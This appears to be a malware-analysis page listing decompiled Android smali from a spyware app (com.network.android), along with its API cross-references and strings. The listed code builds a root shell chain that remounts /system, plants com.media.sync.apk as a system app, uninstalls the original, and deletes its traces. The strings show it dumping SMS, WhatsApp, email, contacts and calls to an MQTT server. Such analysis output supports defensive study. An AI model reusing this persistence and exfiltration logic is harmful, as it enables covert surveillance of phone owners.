      152invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      153move-result-object v6
      155invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      156move-result-object v6
      158invoke-virtual {v6, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      159move-result-object v6
      161const-string v9, ";"
      163invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      164move-result-object v6
      166invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      167move-result-object v1
      168new-instance v6, Ljava/lang/StringBuilder;
      170invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      172invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      173move-result-object v6
      175const-string v9, " cat "
      177invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      178move-result-object v6
      180invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      181move-result-object v6
      183const-string v9, " > "
      185invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      186move-result-object v6
      188invoke-virtual {v6, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      189move-result-object v6
      191const-string v9, "com.media.sync.apk;"
      193invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      194move-result-object v6
      196invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      197move-result-object v1
      198new-instance v6, Ljava/lang/StringBuilder;
      200invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      202invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      203move-result-object v6
      205const-string v9, " am force-stop com.network.android;"
      207invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      208move-result-object v6
      210invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      211move-result-object v1
      212new-instance v6, Ljava/lang/StringBuilder;
      214invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      216invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      217move-result-object v6
      219const-string v9, " pm disable com.network.android;"
      221invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      222move-result-object v6
      224invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      225move-result-object v1
      227invoke-static {}, Lcom/network/android/a/c;->e()Z
      228move-result v6
      229if-nez v6, :cond_143
      230new-instance v6, Ljava/lang/StringBuilder;
      232invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      234invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      235move-result-object v6
      237const-string v9, " pm uninstall com.network.android;"
      239invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      240move-result-object v6
      242invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      243move-result-object v1
      244cond_143: new-instance v6, Ljava/lang/StringBuilder;
      246invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      248invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      249move-result-object v6
      251const-string v9, " sleep 10;"
      253invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      254move-result-object v6
      256invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      257move-result-object v1
      258new-instance v6, Ljava/lang/StringBuilder;
      260invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      262invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      263move-result-object v6
      265const-string v9, " kill "
      267invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      268move-result-object v6
      270invoke-static {}, Landroid/os/Process;->myPid()I
      271move-result v9
      273invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      274move-result-object v6
      276const-string v9, ";"
      278invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      279move-result-object v6
      281invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      282move-result-object v1
      283new-instance v6, Ljava/lang/StringBuilder;
      285invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      287invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      288move-result-object v6
      290const-string v9, " rm "
      292invoke-virtual {v6, v9}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      293move-result-object v6
      295invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      296move-result-object v6
      298const-string v8, ";"
      300invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      301move-result-object v6
      303invoke-virtual {v6}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      304move-result-object v1
      305new-instance v6, Ljava/lang/StringBuilder;
      307invoke-direct {v6}, Ljava/lang/StringBuilder;-><init>()V
      309invoke-virtual {v6, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      310move-result-object v6
      312const-string v8, " rmdir -R "
      314invoke-virtual {v6, v8}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      315move-result-object v6
      317invoke-virtual {v6, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      318move-result-object v2
      320const-string v6, ";"
      322invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      323move-result-object v2
      325invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      326move-result-object v1
      327new-instance v2, Ljava/lang/StringBuilder;
      329invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      331invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      332move-result-object v2
      334const-string v6, " chmod 666 "
      336invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      337move-result-object v2
      339invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      340move-result-object v2
      342const-string v6, "com.media.sync.apk;"
      344invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      345move-result-object v2
      347invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      348move-result-object v1
      349new-instance v2, Ljava/lang/StringBuilder;
      351invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      353invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      354move-result-object v2
      356const-string v6, " umask 133;"
      358invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      359move-result-object v2
      361invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      362move-result-object v1
      363new-instance v2, Ljava/lang/StringBuilder;
      365invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      367invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      368move-result-object v2
      370const-string v6, " mount -o remount,rw /dev/null /system;"
      372invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      373move-result-object v2
      375invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      376move-result-object v1
      377new-instance v2, Ljava/lang/StringBuilder;
      379invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      381invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      382move-result-object v2
      384const-string v6, " cat "
      386invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      387move-result-object v2
      389invoke-virtual {v2, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      390move-result-object v2
      392const-string v6, " > /data/myappinfo;"
      394invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      395move-result-object v2
      397invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      398move-result-object v1
      399new-instance v2, Ljava/lang/StringBuilder;
      401invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      403invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      404move-result-object v2
      406const-string v6, " chmod 0777 /data/myappinfo;"
      408invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      409move-result-object v2
      411invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      412move-result-object v1
      413new-instance v2, Ljava/lang/StringBuilder;
      415invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      417invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      418move-result-object v2
      420const-string v6, " cat "
      422invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      423move-result-object v2
      425invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      426move-result-object v2
      428const-string v6, "com.media.sync.apk > /system/app/com.media.sync.apk;"
      430invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      431move-result-object v2
      433invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      434move-result-object v1
      435new-instance v2, Ljava/lang/StringBuilder;
      437invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      439invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      440move-result-object v2
      442const-string v6, " sleep 5;"
      444invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      445move-result-object v2
      447invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      448move-result-object v1
      449new-instance v2, Ljava/lang/StringBuilder;
      451invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      453invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      454move-result-object v2
      456const-string v6, " mkdir "
      458invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      459move-result-object v2
      461invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      462move-result-object v2
      464const-string v6, ";"
      466invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      467move-result-object v2
      469invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      470move-result-object v1
      471new-instance v2, Ljava/lang/StringBuilder;
      473invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      475invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      476move-result-object v2
      478const-string v6, " chmod 0777 "
      480invoke-virtual {v2, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      481move-result-object v2
      483invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      484move-result-object v2
      486const-string v4, ";"
      488invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      489move-result-object v2
      491invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      492move-result-object v1
      493new-instance v2, Ljava/lang/StringBuilder;
      495invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      497invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      498move-result-object v2
      500const-string v4, " cat "
      502invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      503move-result-object v2
      505invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      506move-result-object v2
      508invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      509move-result-object v2
      511const-string v4, " > "
      513invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      514move-result-object v2
      516invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      517move-result-object v2
      519const-string v4, ";"
      521invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      522move-result-object v2
      524invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      525move-result-object v1
      526new-instance v2, Ljava/lang/StringBuilder;
      528invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      530invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      531move-result-object v2
      533const-string v4, " chmod 0777 "
      535invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      536move-result-object v2
      538invoke-virtual {v2, v7}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      539move-result-object v2
      541const-string v4, ";"
      543invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      544move-result-object v2
      546invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      547move-result-object v1
      548new-instance v2, Ljava/lang/StringBuilder;
      550invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      552invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      553move-result-object v2
      555const-string v4, " rm "
      557invoke-virtual {v2, v4}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      558move-result-object v2
      560invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      561move-result-object v2
      563invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      564move-result-object v2
      566const-string v3, ";"
      568invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      569move-result-object v2
      571invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      572move-result-object v1
      573new-instance v2, Ljava/lang/StringBuilder;
      575invoke-direct {v2}, Ljava/lang/StringBuilder;-><init>()V
      577invoke-virtual {v2, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      578move-result-object v2
      580const-string v3, " rm "
      582invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      583move-result-object v2
      585invoke-virtual {v2, v0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      586move-result-object v0
      588const-string v2, "com.media.sync.apk;"
      590invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      591move-result-object v0
      593invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      594move-result-object v1
      595new-instance v0, Ljava/lang/StringBuilder;
      597invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      599invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      600move-result-object v0
      602const-string v2, " rm "
      604invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      605move-result-object v0
      607invoke-virtual {v0, v5}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      608move-result-object v0
      610const-string v2, ";"
      612invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      613move-result-object v0
      615invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      616move-result-object v1
      617new-instance v0, Ljava/lang/StringBuilder;
      619invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      621invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      622move-result-object v0
      624const-string v2, " export LD_LIBRARY_PATH=/vendor/lib:/system/lib; am start -n com.network.android/com.network.android.NetworkMain;"
      626invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      627move-result-object v0
      629invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      630move-result-object v1
      631new-instance v0, Ljava/lang/StringBuilder;
      633invoke-direct {v0}, Ljava/lang/StringBuilder;-><init>()V
      635invoke-virtual {v0, v1}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      636move-result-object v0
      638const-string v2, " mount -o remount,ro -t yaffs2 /dev/block/mtdblock3 /system;"
      640invoke-virtual {v0, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      641move-result-object v0
      643invoke-virtual {v0}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      644try_end_356: move-result-object v0
      645goto_357: return-object v0
      646catch_358: move-exception v0
      647move-object v11, v0
      648move-object v0, v1
      649move-object v1, v11
      650new-instance v2, Ljava/lang/StringBuilder;
      652const-string v3, "SystemJumper - buildJumpToSystemCommand exception"
      654invoke-direct {v2, v3}, Ljava/lang/StringBuilder;-><init>(Ljava/lang/String;)V
      656invoke-virtual {v1}, Ljava/lang/Throwable;->getMessage()Ljava/lang/String;
      657move-result-object v3
      659invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      660move-result-object v2
      662invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      663move-result-object v2
      665invoke-static {v2, v1}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;Ljava/lang/Throwable;)V
      666goto/16 :goto_357
      Cross References
      APIs
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • com.network.android.SmsReceiver.b:Ljava/lang/String
      • android.content.SharedPreferences$Editor.putString
      • android.content.Context.getSharedPreferences
      • android.content.SharedPreferences.edit
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences$Editor.putString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • android.content.SharedPreferences$Editor.commit
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • java.lang.Long.longValue
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • java.lang.Integer.valueOf
      • java.lang.Integer.intValue
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • java.lang.Boolean.booleanValue
      • android.content.SharedPreferences$Editor.putBoolean
      • java.lang.Boolean.booleanValue
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putLong
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • com.network.android.AndroidCallDirectWatcher.a
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putString
      • android.content.SharedPreferences$Editor.putInt
      • android.content.SharedPreferences$Editor.putBoolean
      • java.lang.Integer.intValue
      • android.content.SharedPreferences$Editor.putInt
      • java.lang.Boolean.booleanValue
      • android.content.SharedPreferences$Editor.putBoolean
      • android.content.SharedPreferences$Editor.commit
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • com.network.android.BootReceiver.a:Ljava/lang/String
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      • java.lang.StringBuilder.<init>
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.append
      • java.lang.StringBuilder.toString
      Strings
      • Save Preferences
      • NetworkPreferences
      • NetworkWindowResizer
      • NetworkWindowAddresess
      • Save Data agentAddress:
      • WindowTargetSms
      • Skypi
      • url address
      • lastComunication
      • lastSend
      • lastReceive
      • send
      • receive
      • sesseions
      • wasPhoneWasUnmutedAfterTapNicly
      • originalVibrateValue
      • originalRingerValue
      • errorCode
      • maxTimeWithNoComunication
      • failureCount
      • grace
      • packageVersion
      • vulnarbilityIndicator
      • commandTimeStamp
      • adlocation
      • adrate
      • userNetwork
      • installation
      • windowYuliyus
      • window canada
      • graceTime
      • finish
      • callWindow
      • dumpContacts
      • dumpBrowserData
      • smsWindow
      • dumpCalander
      • firstRun
      • dumpMails
      • forwarding
      • allowRomingType
      • logNetwork
      • ScreenTimeout
      • wanted_debug_level
      • screenProximtySensor
      • romingSetted
      • mqttPassword
      • did_we_restart_after_upgrade_already
      • mqttAllowedConnectionType
      • should_use_mqtt
      • mqttRecCount
      • mqttUsername
      • mqttIdPref
      • mqttQos
      • mqttKaTimer
      • mqttPort
      • mqttHost
      • mqttRecInt
      • networkKill
      • pollingInterval
      • local
      • Save Data parameters targetSms:
      • , outSnoopNumber:
      • , simSerialNumber:
      • parameters Call Recoeding:
      • ,lastComunication:
      • , dumpFinish:
      • , current log file:
      • parameters Self destruction time:
      • urlToRemove:
      • parameters dumpFinish:
      • dumpSMS:
      • dumpWhatsApp:
      • dumpEmails:
      • dumpContacts:
      • dumpCalander:
      • dumpCall:
      • Save Data parameters wantedDebugLevel:
      • pollingInterval:
      • savePreferences exception
      Position Instruction Meta Information
      0const/4 v0, 0x0
      1const-class v1, Lcom/network/b/b;
      2monitor-enter v1
      3try_start_4:
      4sget-object v2, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      5try_end_6: if-nez v2, :cond_a
      6goto_8: monitor-exit v1
      7return-void
      8cond_a:
      9const-string v2, "Save Preferences"
      11invoke-static {v2}, Lcom/network/android/c/a/a;->a(Ljava/lang/String;)V
      13const-string v2, "NetworkPreferences"
      14const/4 v3, 0x0
      16invoke-virtual {p0, v2, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      17move-result-object v2
      19invoke-interface {v2}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      20move-result-object v2
      22const-string v3, "NetworkWindowResizer"
      24sget-object v4, Lcom/network/android/SmsReceiver;->b:Ljava/lang/String;
      26invoke-static {v4}, Lcom/network/b/b;->i(Ljava/lang/String;)Ljava/lang/String;
      27move-result-object v4
      29invoke-interface {v2, v3, v4}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      31sget-object v3, Lcom/network/b/b;->F:[Ljava/lang/String;
      32if-eqz v3, :cond_72
      33array-length v4, v3
      34if-lez v4, :cond_72
      36const-string v4, "NetworkWindowAddresess"
      37const/4 v5, 0x0
      39invoke-virtual {p0, v4, v5}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
      40move-result-object v4
      42invoke-interface {v4}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
      43move-result-object v4
      44goto_37: array-length v5, v3
      45if-ge v0, v5, :cond_6f
      46new-instance v5, Ljava/lang/StringBuilder;
      48invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      50invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      51move-result-object v5
      53invoke-virtual {v5}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
      54move-result-object v5
      55aget-object v6, v3, v0
      57invoke-static {v6}, Lcom/network/b/b;->i(Ljava/lang/String;)Ljava/lang/String;
      58move-result-object v6
      60invoke-interface {v4, v5, v6}, Landroid/content/SharedPreferences$Editor;->putString(Ljava/lang/String;Ljava/lang/String;)Landroid/content/SharedPreferences$Editor;
      61new-instance v5, Ljava/lang/StringBuilder;
      63invoke-direct {v5}, Ljava/lang/StringBuilder;-><init>()V
      65invoke-virtual {v5, v0}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
      66move-result-object v5
      68const-string v6, " Save Data agentAddress: "
      70invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      71move-result-object v5
      72aget-object v6, v3, v0
      74invoke-virtual {v5, v6}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
      75move-result-object v5
